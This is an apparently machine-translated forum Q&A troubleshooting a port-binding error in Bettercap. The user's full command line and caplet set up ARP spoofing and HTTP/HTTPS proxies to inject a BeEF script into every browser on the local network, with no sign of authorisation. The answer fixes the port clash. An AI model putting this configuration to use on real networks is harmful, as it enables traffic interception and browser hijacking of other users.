Bettercap:绑定:地址已被使用

时间:2019-01-15 13:59:36

标签: mitmproxy .net-security

无论我尝试使用哪个端口,我都会不断收到错误消息:

  

监听tcp 0.0.0.0:PORT_NUMBER:绑定:地址已被使用

环境

  • 如果您需要了解的话,我也使用Brew安装了此软件
    • Bettercap 2.11.1
    • Mac OS High-Sierra
    • golang 1.11.4

使用的命令行代码:

sudo bettercap -eval "set net.probe off; set arp.spoof.targets 0.0.0.0" -caplet beef-active.cap

beef-active.cap:

set http.proxy.script beef-inject.js
set http.proxy.port 8011
set https.proxy.port 8011
http.proxy on
https.proxy on
sleep 1
arp.spoof on

预期的行为:

我正在尝试将一些js注入连接到路由器的每台计算机的浏览器中。除了看到一条消息,表明牛肉注射已成功注射

实际行为:实际发生了什么

击中我的IP地址时停止。输出如下:

  

[13:26:41] [sys.log] [inf] http.proxy从0.0.0.0:8011开始(已禁用sslstrip)

     

[13:26:41] [sys.log] [inf]从/var/root/.bettercap-ca.key.pem加载代理证书颁发机构TLS密钥

     

[13:26:41] [sys.log] [inf]从/var/root/.bettercap-ca.cert.pem加载代理证书颁发机构TLS证书

     

[13:26:41] [sys.log] [inf]启用转发。

     

[13:26:41] [sys.log] [inf] https.proxy从0.0.0.0:8011开始(已禁用sslstrip)

     

[13:26:41] [sys.log] [!!!]监听tcp 0.0.0.0:8011:bind:地址已在使用中

编辑:

将两个端口更改为不同将停止该错误,但是该错误仍未向浏览器注入任何内容。我一直进入控制台的只是:

好的,所以我更改了它,并且不再收到该错误,但是,它仍然没有在浏览器中注入任何JS。我只是不断获得新的和丢失的端点,像这样:

0.0.0.0/24 > 0.0.0.0  » [08:33:17] [endpoint.new] endpoint 0.0.0.0 detected as 04:18:d6:d0:69:e7 (Apple, Inc.).
0.0.0.0/24 > 0.0.0.0  » [08:33:23] [endpoint.lost] endpoint 0.0.0.0 (Apple, Inc.) lost.

...。然后它会不断在相同的消息中打勾,即new> lost> new> lost

有什么想法吗?

1 个答案:

答案 0 :(得分:1)

set http.proxy.port 8011
set https.proxy.port 8011

这些端口设置为同一端口,这意味着它们都试图在8011上侦听并且相互踩踏。

将其中之一更改为其他端口,错误应消失。

干杯!